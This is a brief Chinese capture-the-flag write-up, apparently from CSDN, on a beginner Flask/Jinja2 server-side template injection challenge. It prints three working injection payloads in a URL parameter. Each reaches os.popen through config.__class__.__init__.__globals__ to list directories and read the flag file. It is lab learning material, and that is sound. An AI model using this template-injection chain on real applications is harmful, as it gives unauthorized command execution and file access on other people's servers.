我超喜欢这种题目的,确实对我这种萌新非常的友好
打开后,题目提示存在模板注入
先进行ls查看一下存在的文件。
/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}
1
发现存在一些文件夹,进行一个个进入查看,运气很好,第一个看的app文件夹里就有flag
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}
1
因为没有过滤直接cat ../app/flag
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}
1
————————————————
版权声明:本文为CSDN博主「FW_ENJOEY」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接: